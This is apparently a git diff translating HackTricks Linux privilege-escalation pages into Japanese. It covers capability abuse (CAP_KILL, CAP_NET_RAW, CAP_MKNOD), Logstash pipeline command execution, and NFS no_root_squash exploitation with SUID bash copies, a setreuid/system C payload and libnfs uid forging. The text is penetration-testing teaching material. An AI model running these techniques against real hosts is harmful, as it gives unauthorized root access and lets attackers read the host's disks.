これはスレッドが仮定できる**有効な能力の制限されたスーパーセット**です。また、**CAP_SETPCAP**能力を有効なセットに持たないスレッドによって継承可能なセットに追加できる能力の制限されたスーパーセットでもあります。_\ +Permitted capabilitiesは使用できる能力を制限しているようです。\ +しかし、Dockerはデフォルトで**CAP_SETPCAP**も付与するため、**継承可能な能力の中に新しい能力を設定できるかもしれません**。\ +しかし、この能力のドキュメントには次のように記載されています: _CAP_SETPCAP : \[…] **呼び出しスレッドのバウンディング**セットからその継承可能なセットに任意の能力を追加します。_\ +つまり、**新しい能力をCAP_SYS_ADMINやCAP_SYS_PTRACEのように継承セットに追加することはできず、特権を昇格させることはできません**。 ## CAP_SYS_RAWIO -[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to descriptively `perform a range of device-specific operations on other devices`. +[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html)は、`/dev/mem`、`/dev/kmem`、`/proc/kcore`へのアクセス、`mmap_min_addr`の変更、`ioperm(2)`および`iopl(2)`システムコールへのアクセス、さまざまなディスクコマンドを含む多くのセンシティブな操作を提供します。この能力を介して`FIBMAP ioctl(2)`も有効になっており、これは[過去に問題を引き起こしました](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html)。マニュアルページによれば、これにより保持者は他のデバイスに対して**デバイス固有の操作を実行することができます**。 -This can be useful for **privilege escalation** and **Docker breakout.** +これは**特権昇格**や**Dockerブレイクアウト**に役立ちます。 ## CAP_KILL -**This means that it's possible to kill any process.** +**これは、任意のプロセスを終了させることが可能であることを意味します。** -**Example with binary** - -Lets suppose the **`python`** binary has this capability. If you could **also modify some service or socket configuration** (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor. +**バイナリの例** +**`python`**バイナリがこの能力を持っていると仮定しましょう。もし**サービスやソケットの設定**(またはサービスに関連する任意の設定ファイル)を変更できるなら、バックドアを仕掛け、そのサービスに関連するプロセスを終了させて、新しい設定ファイルがあなたのバックドアで実行されるのを待つことができます。 ```python #Use this python code to kill arbitrary processes import os @@ -1423,39 +1279,28 @@ import signal pgid = os.getpgid(341) os.killpg(pgid, signal.SIGKILL) ``` - **Privesc with kill** -If you have kill capabilities and there is a **node program running as root** (or as a different user)you could probably **send** it the **signal SIGUSR1** and make it **open the node debugger** to where you can connect. - +もしあなたが kill 権限を持っていて、**root として実行されている node プログラム**(または別のユーザーとして) がある場合、あなたはおそらく **SIGUSR1 シグナルを送信**して、それを **node デバッガーを開かせる**ことができ、そこに接続することができます。 ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - {{#ref}} electron-cef-chromium-debugger-abuse.md {{#endref}} -​ - -
- -​​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} ## CAP_NET_BIND_SERVICE -**This means that it's possible to listen in any port (even in privileged ones).** You cannot escalate privileges directly with this capability. +**これは、任意のポート(特権ポートを含む)でリッスンできることを意味します。** この能力を使って直接特権を昇格させることはできません。 -**Example with binary** +**バイナリの例** -If **`python`** has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports) +もし**`python`**がこの能力を持っていれば、任意のポートでリッスンでき、さらにそこから他のポートに接続することもできます(いくつかのサービスは特定の特権ポートからの接続を必要とします)。 {{#tabs}} {{#tab name="Listen"}} - ```python import socket s=socket.socket() @@ -1463,45 +1308,39 @@ s.bind(('0.0.0.0', 80)) s.listen(1) conn, addr = s.accept() while True: - output = connection.recv(1024).strip(); - print(output) +output = connection.recv(1024).strip(); +print(output) ``` - {{#endtab}} {{#tab name="Connect"}} - ```python import socket s=socket.socket() s.bind(('0.0.0.0',500)) s.connect(('10.10.10.10',500)) ``` - {{#endtab}} {{#endtabs}} ## CAP_NET_RAW -[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) capability permits processes to **create RAW and PACKET sockets**, enabling them to generate and send arbitrary network packets. This can lead to security risks in containerized environments, such as packet spoofing, traffic injection, and bypassing network access controls. Malicious actors could exploit this to interfere with container routing or compromise host network security, especially without adequate firewall protections. Additionally, **CAP_NET_RAW** is crucial for privileged containers to support operations like ping via RAW ICMP requests. +[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 権限はプロセスが **RAW および PACKET ソケットを作成** することを許可し、任意のネットワークパケットを生成および送信できるようにします。これにより、パケットの偽装、トラフィックの注入、ネットワークアクセス制御の回避など、コンテナ化された環境におけるセキュリティリスクが生じる可能性があります。悪意のある行為者は、これを利用してコンテナのルーティングに干渉したり、特に適切なファイアウォール保護がない場合にホストネットワークのセキュリティを侵害する可能性があります。さらに、**CAP_NET_RAW** は、RAW ICMP リクエストを介して ping などの操作をサポートするために特権コンテナにとって重要です。 -**This means that it's possible to sniff traffic.** You cannot escalate privileges directly with this capability. +**これは、トラフィックをスニッフィングすることが可能であることを意味します。** この権限を使用して直接特権を昇格させることはできません。 -**Example with binary** - -If the binary **`tcpdump`** has this capability you will be able to use it to capture network information. +**バイナリの例** +バイナリ **`tcpdump`** がこの権限を持っている場合、ネットワーク情報をキャプチャするために使用できます。 ```bash getcap -r / 2>/dev/null /usr/sbin/tcpdump = cap_net_raw+ep ``` +注意してください、もし**environment**がこの能力を与えている場合、**`tcpdump`**を使用してトラフィックをスニッフィングすることもできます。 -Note that if the **environment** is giving this capability you could also use **`tcpdump`** to sniff traffic. - -**Example with binary 2** - -The following example is **`python2`** code that can be useful to intercept traffic of the "**lo**" (**localhost**) interface. The code is from the lab "_The Basics: CAP-NET_BIND + NET_RAW_" from [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com) +**バイナリ2の例** +以下の例は、"**lo**"(**localhost**)インターフェースのトラフィックをインターセプトするのに役立つ**`python2`**コードです。このコードは、[https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)のラボ"_The Basics: CAP-NET_BIND + NET_RAW_"からのものです。 ```python import socket import struct @@ -1509,11 +1348,11 @@ import struct flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"] def getFlag(flag_value): - flag="" - for i in xrange(8,-1,-1): - if( flag_value & 1 < [!NOTE] -> Note that usually this immutable attribute is set and remove using: +> 通常、この不変属性は次のように設定および削除されます: > > ```bash > sudo chattr +i file.txt @@ -1607,47 +1441,46 @@ f.write('New content for the file\n') ## CAP_SYS_CHROOT -[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables the execution of the `chroot(2)` system call, which can potentially allow for the escape from `chroot(2)` environments through known vulnerabilities: +[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、`chroot(2)` システムコールの実行を可能にし、既知の脆弱性を通じて `chroot(2)` 環境からの脱出を許可する可能性があります: -- [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) -- [chw00t: chroot escape tool](https://github.com/earthquake/chw00t/) +- [さまざまな chroot ソリューションから脱出する方法](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) +- [chw00t: chroot 脱出ツール](https://github.com/earthquake/chw00t/) ## CAP_SYS_BOOT -[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) not only allows the execution of the `reboot(2)` system call for system restarts, including specific commands like `LINUX_REBOOT_CMD_RESTART2` tailored for certain hardware platforms, but it also enables the use of `kexec_load(2)` and, from Linux 3.17 onwards, `kexec_file_load(2)` for loading new or signed crash kernels respectively. +[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、特定のハードウェアプラットフォーム向けに調整された `LINUX_REBOOT_CMD_RESTART2` のような特定のコマンドを含むシステム再起動のための `reboot(2)` システムコールの実行を許可するだけでなく、`kexec_load(2)` の使用を可能にし、Linux 3.17 以降は新しいまたは署名されたクラッシュカーネルをそれぞれ読み込むための `kexec_file_load(2)` も可能にします。 ## CAP_SYSLOG -[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) was separated from the broader **CAP_SYS_ADMIN** in Linux 2.6.37, specifically granting the ability to use the `syslog(2)` call. This capability enables the viewing of kernel addresses via `/proc` and similar interfaces when the `kptr_restrict` setting is at 1, which controls the exposure of kernel addresses. Since Linux 2.6.39, the default for `kptr_restrict` is 0, meaning kernel addresses are exposed, though many distributions set this to 1 (hide addresses except from uid 0) or 2 (always hide addresses) for security reasons. +[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、Linux 2.6.37 でより広範な **CAP_SYS_ADMIN** から分離され、`syslog(2)` コールを使用する能力を特に付与しました。この機能により、`kptr_restrict` 設定が 1 の場合に `/proc` や類似のインターフェースを介してカーネルアドレスを表示することが可能になります。Linux 2.6.39 以降、`kptr_restrict` のデフォルトは 0 であり、カーネルアドレスが公開されますが、多くのディストリビューションはセキュリティ上の理由からこれを 1(uid 0 以外からアドレスを隠す)または 2(常にアドレスを隠す)に設定しています。 -Additionally, **CAP_SYSLOG** allows accessing `dmesg` output when `dmesg_restrict` is set to 1. Despite these changes, **CAP_SYS_ADMIN** retains the ability to perform `syslog` operations due to historical precedents. +さらに、**CAP_SYSLOG** は、`dmesg_restrict` が 1 に設定されている場合に `dmesg` 出力にアクセスすることを許可します。これらの変更にもかかわらず、**CAP_SYS_ADMIN** は歴史的な前例により `syslog` 操作を実行する能力を保持しています。 ## CAP_MKNOD -[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) extends the functionality of the `mknod` system call beyond creating regular files, FIFOs (named pipes), or UNIX domain sockets. It specifically allows for the creation of special files, which include: +[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、通常のファイル、FIFO(名前付きパイプ)、または UNIX ドメインソケットの作成を超えて `mknod` システムコールの機能を拡張します。特に、次のような特別なファイルの作成を許可します: -- **S_IFCHR**: Character special files, which are devices like terminals. -- **S_IFBLK**: Block special files, which are devices like disks. +- **S_IFCHR**: 端末のようなキャラクタ特殊ファイル。 +- **S_IFBLK**: ディスクのようなブロック特殊ファイル。 -This capability is essential for processes that require the ability to create device files, facilitating direct hardware interaction through character or block devices. +この機能は、デバイスファイルを作成する能力を必要とするプロセスにとって不可欠であり、キャラクタまたはブロックデバイスを介して直接ハードウェアと対話することを容易にします。 -It is a default docker capability ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)). +これはデフォルトの docker 機能です ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19))。 -This capability permits to do privilege escalations (through full disk read) on the host, under these conditions: +この機能は、次の条件下でホスト上で特権昇格(フルディスク読み取りを通じて)を行うことを許可します: -1. Have initial access to the host (Unprivileged). -2. Have initial access to the container (Privileged (EUID 0), and effective `CAP_MKNOD`). -3. Host and container should share the same user namespace. +1. ホストへの初期アクセスを持つ(特権なし)。 +2. コンテナへの初期アクセスを持つ(特権あり(EUID 0)、および有効な `CAP_MKNOD`)。 +3. ホストとコンテナは同じユーザー名前空間を共有する必要があります。 -**Steps to Create and Access a Block Device in a Container:** +**コンテナ内でブロックデバイスを作成およびアクセスする手順:** -1. **On the Host as a Standard User:** +1. **ホスト上で標準ユーザーとして:** - - Determine your current user ID with `id`, e.g., `uid=1000(standarduser)`. - - Identify the target device, for example, `/dev/sdb`. - -2. **Inside the Container as `root`:** +- `id` で現在のユーザーIDを確認します。例:`uid=1000(standarduser)`。 +- 対象デバイスを特定します。例えば、`/dev/sdb`。 +2. **コンテナ内で `root` として:** ```bash # Create a block special file for the host device mknod /dev/sdb b 8 16 @@ -1658,9 +1491,7 @@ useradd -u 1000 standarduser # Switch to the newly created user su standarduser ``` - -3. **Back on the Host:** - +3. **ホストに戻る:** ```bash # Locate the PID of the container process owned by "standarduser" # This is an illustrative example; actual command might vary @@ -1669,28 +1500,27 @@ ps aux | grep -i container_name | grep -i standarduser # Access the container's filesystem and the special block device head /proc/12345/root/dev/sdb ``` - -This approach allows the standard user to access and potentially read data from `/dev/sdb` through the container, exploiting shared user namespaces and permissions set on the device. +このアプローチにより、標準ユーザーはコンテナを通じて `/dev/sdb` へのアクセスとデータの読み取りが可能になり、共有ユーザー名前空間とデバイスに設定された権限を利用します。 ### CAP_SETPCAP -**CAP_SETPCAP** enables a process to **alter the capability sets** of another process, allowing for the addition or removal of capabilities from the effective, inheritable, and permitted sets. However, a process can only modify capabilities that it possesses in its own permitted set, ensuring it cannot elevate another process's privileges beyond its own. Recent kernel updates have tightened these rules, restricting `CAP_SETPCAP` to only diminish the capabilities within its own or its descendants' permitted sets, aiming to mitigate security risks. Usage requires having `CAP_SETPCAP` in the effective set and the target capabilities in the permitted set, utilizing `capset()` for modifications. This summarizes the core function and limitations of `CAP_SETPCAP`, highlighting its role in privilege management and security enhancement. +**CAP_SETPCAP** は、プロセスが他のプロセスの **能力セットを変更する** ことを可能にし、効果的、継承可能、許可されたセットからの能力の追加または削除を許可します。ただし、プロセスは自分の許可されたセットに存在する能力のみを変更できるため、他のプロセスの特権を自分のもの以上に引き上げることはできません。最近のカーネルの更新により、これらのルールが厳格化され、`CAP_SETPCAP` は自分自身またはその子孫の許可されたセット内の能力を減少させることのみを許可され、セキュリティリスクを軽減することを目的としています。使用するには、効果的なセットに `CAP_SETPCAP` を持ち、ターゲットの能力を許可されたセットに持つ必要があり、`capset()` を使用して変更を行います。これが `CAP_SETPCAP` の核心的な機能と制限を要約しており、特権管理とセキュリティ強化におけるその役割を強調しています。 -**`CAP_SETPCAP`** is a Linux capability that allows a process to **modify the capability sets of another process**. It grants the ability to add or remove capabilities from the effective, inheritable, and permitted capability sets of other processes. However, there are certain restrictions on how this capability can be used. +**`CAP_SETPCAP`** は、プロセスが他のプロセスの **能力セットを変更する** ことを可能にするLinuxの能力です。他のプロセスの効果的、継承可能、許可された能力セットから能力を追加または削除する能力を付与します。ただし、この能力の使用方法には特定の制限があります。 -A process with `CAP_SETPCAP` **can only grant or remove capabilities that are in its own permitted capability set**. In other words, a process cannot grant a capability to another process if it does not have that capability itself. This restriction prevents a process from elevating the privileges of another process beyond its own level of privilege. +`CAP_SETPCAP` を持つプロセスは **自分の許可された能力セットにある能力のみを付与または削除できる** ということです。言い換えれば、プロセスは自分が持っていない能力を他のプロセスに付与することはできません。この制限により、プロセスは他のプロセスの特権を自分の特権レベル以上に引き上げることができなくなります。 -Moreover, in recent kernel versions, the `CAP_SETPCAP` capability has been **further restricted**. It no longer allows a process to arbitrarily modify the capability sets of other processes. Instead, it **only allows a process to lower the capabilities in its own permitted capability set or the permitted capability set of its descendants**. This change was introduced to reduce potential security risks associated with the capability. +さらに、最近のカーネルバージョンでは、`CAP_SETPCAP` の能力が **さらに制限されました**。もはやプロセスが他のプロセスの能力セットを恣意的に変更することは許可されていません。代わりに、**自分の許可された能力セットまたはその子孫の許可された能力セット内の能力を下げることのみを許可します**。この変更は、能力に関連する潜在的なセキュリティリスクを軽減するために導入されました。 -To use `CAP_SETPCAP` effectively, you need to have the capability in your effective capability set and the target capabilities in your permitted capability set. You can then use the `capset()` system call to modify the capability sets of other processes. +`CAP_SETPCAP` を効果的に使用するには、効果的な能力セットにその能力を持ち、ターゲットの能力を許可された能力セットに持つ必要があります。その後、`capset()` システムコールを使用して他のプロセスの能力セットを変更できます。 -In summary, `CAP_SETPCAP` allows a process to modify the capability sets of other processes, but it cannot grant capabilities that it doesn't have itself. Additionally, due to security concerns, its functionality has been limited in recent kernel versions to only allow reducing capabilities in its own permitted capability set or the permitted capability sets of its descendants. +要約すると、`CAP_SETPCAP` はプロセスが他のプロセスの能力セットを変更することを可能にしますが、自分が持っていない能力を付与することはできません。さらに、セキュリティ上の懸念から、その機能は最近のカーネルバージョンで制限され、自分の許可された能力セットまたはその子孫の許可された能力セット内の能力を減少させることのみが許可されています。 -## References +## 参考文献 -**Most of these examples were taken from some labs of** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), so if you want to practice this privesc techniques I recommend these labs. +**これらの例のほとんどは** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com) **のいくつかのラボから取られたので、これらの特権昇格技術を練習したい場合は、これらのラボをお勧めします。** -**Other references**: +**その他の参考文献**: - [https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux) - [https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.](https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/) @@ -1700,10 +1530,4 @@ In summary, `CAP_SETPCAP` allows a process to modify the capability sets of othe - [https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot](https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot) ​ - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/logstash.md b/src/linux-hardening/privilege-escalation/logstash.md index fe091391a..5219639cc 100644 --- a/src/linux-hardening/privilege-escalation/logstash.md +++ b/src/linux-hardening/privilege-escalation/logstash.md @@ -2,59 +2,55 @@ ## Logstash -Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages. An interesting aspect arises when Logstash operates on a compromised machine. +Logstashは**ログを収集、変換、配信する**ために使用され、**パイプライン**として知られるシステムを通じて行われます。これらのパイプラインは**入力**、**フィルター**、および**出力**ステージで構成されています。Logstashが侵害されたマシンで動作する際に興味深い側面が現れます。 -### Pipeline Configuration - -Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations: +### パイプラインの設定 +パイプラインは**/etc/logstash/pipelines.yml**ファイルで設定されており、パイプライン設定の場所がリストされています: ```yaml # Define your pipelines here. Multiple pipelines can be defined. # For details on multiple pipelines, refer to the documentation: # https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html - pipeline.id: main - path.config: "/etc/logstash/conf.d/*.conf" +path.config: "/etc/logstash/conf.d/*.conf" - pipeline.id: example - path.config: "/usr/share/logstash/pipeline/1*.conf" - pipeline.workers: 6 +path.config: "/usr/share/logstash/pipeline/1*.conf" +pipeline.workers: 6 ``` +このファイルは、パイプライン構成を含む **.conf** ファイルがどこにあるかを明らかにします。 **Elasticsearch output module** を使用する際、**pipelines** には **Elasticsearch credentials** が含まれることが一般的で、これは Logstash が Elasticsearch にデータを書き込む必要があるため、広範な権限を持つことがよくあります。構成パスのワイルドカードにより、Logstash は指定されたディレクトリ内のすべての一致するパイプラインを実行できます。 -This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory. +### 書き込み可能なパイプラインによる特権昇格 -### Privilege Escalation via Writable Pipelines +特権昇格を試みるには、まず Logstash サービスが実行されているユーザーを特定します。通常は **logstash** ユーザーです。次の **いずれか** の条件を満たしていることを確認してください: -To attempt privilege escalation, first identify the user under which the Logstash service is running, typically the **logstash** user. Ensure you meet **one** of these criteria: +- パイプラインの **.conf** ファイルに **書き込みアクセス** を持っている **または** +- **/etc/logstash/pipelines.yml** ファイルがワイルドカードを使用しており、ターゲットフォルダーに書き込むことができる -- Possess **write access** to a pipeline **.conf** file **or** -- The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder +さらに、次の **いずれか** の条件を満たす必要があります: -Additionally, **one** of these conditions must be fulfilled: - -- Capability to restart the Logstash service **or** -- The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set - -Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution. For instance: +- Logstash サービスを再起動する能力 **または** +- **/etc/logstash/logstash.yml** ファイルに **config.reload.automatic: true** が設定されている +構成にワイルドカードがある場合、このワイルドカードに一致するファイルを作成することでコマンドを実行できます。例えば: ```bash input { - exec { - command => "whoami" - interval => 120 - } +exec { +command => "whoami" +interval => 120 +} } output { - file { - path => "/tmp/output.log" - codec => rubydebug - } +file { +path => "/tmp/output.log" +codec => rubydebug +} } ``` +ここで、**interval**は実行頻度を秒単位で決定します。与えられた例では、**whoami**コマンドが120秒ごとに実行され、その出力は**/tmp/output.log**に送られます。 -Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**. - -With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions. +**/etc/logstash/logstash.yml**に**config.reload.automatic: true**が設定されている場合、Logstashは再起動することなく新しいまたは変更されたパイプライン構成を自動的に検出して適用します。ワイルドカードがない場合でも、既存の構成に対して変更を加えることは可能ですが、混乱を避けるために注意が必要です。 ## References diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 679d2a521..b8ff7ca59 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,19 +1,18 @@ {{#include ../../banners/hacktricks-training.md}} -Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine. +_ **/etc/exports** _ ファイルを読み、**no_root_squash** として設定されているディレクトリが見つかった場合、クライアントとしてそのディレクトリに**アクセス**し、ローカルの**root**のようにそのディレクトリの中に**書き込む**ことができます。 -**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications. +**no_root_squash**: このオプションは基本的に、クライアントのrootユーザーにNFSサーバー上のファイルにrootとしてアクセスする権限を与えます。これにより、深刻なセキュリティ上の問題が生じる可能性があります。 -**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user. +**no_all_squash:** これは**no_root_squash**オプションに似ていますが、**非rootユーザー**に適用されます。例えば、nobodyユーザーとしてシェルを持ち、/etc/exportsファイルを確認し、no_all_squashオプションが存在し、/etc/passwdファイルを確認し、非rootユーザーをエミュレートし、そのユーザーとしてsuidファイルを作成(nfsを使用してマウント)します。その後、nobodyユーザーとしてsuidを実行し、異なるユーザーになります。 # Privilege Escalation ## Remote Exploit -If you have found this vulnerability, you can exploit it: - -- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary. +この脆弱性を見つけた場合、次のように悪用できます: +- クライアントマシンでそのディレクトリを**マウント**し、**rootとして**マウントされたフォルダ内に**/bin/bash**バイナリをコピーし、**SUID**権限を与え、被害者マシンからそのbashバイナリを**実行**します。 ```bash #Attacker, as root user mkdir /tmp/pe @@ -26,9 +25,7 @@ chmod +s bash cd ./bash -p #ROOT shell ``` - -- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)). - +- **クライアントマシンでそのディレクトリをマウントし、** マウントされたフォルダ内に **rootとして** SUID権限を悪用するコンパイル済みペイロードをコピーし、それに **SUID** 権限を与え、**被害者** マシンからそのバイナリを **実行します** (ここにいくつかの[C SUIDペイロード](payloads-to-execute.md#c)があります)。 ```bash #Attacker, as root user gcc payload.c -o payload @@ -42,61 +39,57 @@ chmod +s payload cd ./payload #ROOT shell ``` - -## Local Exploit +## ローカルエクスプロイト > [!NOTE] -> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\ -> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\ -> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\ -> --_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_-- +> あなたのマシンから被害者のマシンへの**トンネルを作成できる場合、必要なポートをトンネリングしてこの特権昇格を悪用するためにリモートバージョンを使用することができます**。\ +> 次のトリックは、ファイル`/etc/exports`が**IPを示している場合**です。この場合、**リモートエクスプロイトを使用することはできず**、**このトリックを悪用する必要があります**。\ +> エクスプロイトが機能するためのもう一つの要件は、**`/etc/export`内のエクスポートが`insecure`フラグを使用している必要があることです**。\ +> --_`/etc/export`がIPアドレスを示している場合、このトリックが機能するかどうかはわかりません_-- -## Basic Information +## 基本情報 -The scenario involves exploiting a mounted NFS share on a local machine, leveraging a flaw in the NFSv3 specification which allows the client to specify its uid/gid, potentially enabling unauthorized access. The exploitation involves using [libnfs](https://github.com/sahlberg/libnfs), a library that allows for the forging of NFS RPC calls. +このシナリオは、ローカルマシン上のマウントされたNFS共有を悪用し、クライアントがuid/gidを指定できるNFSv3仕様の欠陥を利用して、無許可のアクセスを可能にします。悪用には、NFS RPCコールの偽造を可能にするライブラリ[libnfs](https://github.com/sahlberg/libnfs)を使用します。 -### Compiling the Library - -The library compilation steps might require adjustments based on the kernel version. In this specific case, the fallocate syscalls were commented out. The compilation process involves the following commands: +### ライブラリのコンパイル +ライブラリのコンパイル手順は、カーネルバージョンに基づいて調整が必要な場合があります。この特定のケースでは、fallocateシステムコールがコメントアウトされていました。コンパイルプロセスには、次のコマンドが含まれます: ```bash ./bootstrap ./configure make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` +### 攻撃の実行 -### Conducting the Exploit +攻撃は、特権をルートに昇格させ、その後シェルを実行するシンプルなCプログラム(`pwn.c`)を作成することを含みます。プログラムはコンパイルされ、結果として得られたバイナリ(`a.out`)はsuid rootで共有に配置され、RPC呼び出しでuidを偽装するために`ld_nfs.so`を使用します。 -The exploit involves creating a simple C program (`pwn.c`) that elevates privileges to root and then executing a shell. The program is compiled, and the resulting binary (`a.out`) is placed on the share with suid root, using `ld_nfs.so` to fake the uid in the RPC calls: +1. **攻撃コードをコンパイルする:** -1. **Compile the exploit code:** +```bash +cat pwn.c +int main(void){setreuid(0,0); system("/bin/bash"); return 0;} +gcc pwn.c -o a.out +``` - ```bash - cat pwn.c - int main(void){setreuid(0,0); system("/bin/bash"); return 0;} - gcc pwn.c -o a.out - ``` +2. **攻撃を共有に配置し、uidを偽装してその権限を変更する:** -2. **Place the exploit on the share and modify its permissions by faking the uid:** +```bash +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out +``` - ```bash - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out - ``` +3. **攻撃を実行してルート権限を取得する:** +```bash +/mnt/share/a.out +#root +``` -3. **Execute the exploit to gain root privileges:** - ```bash - /mnt/share/a.out - #root - ``` - -## Bonus: NFShell for Stealthy File Access - -Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues: +## ボーナス: 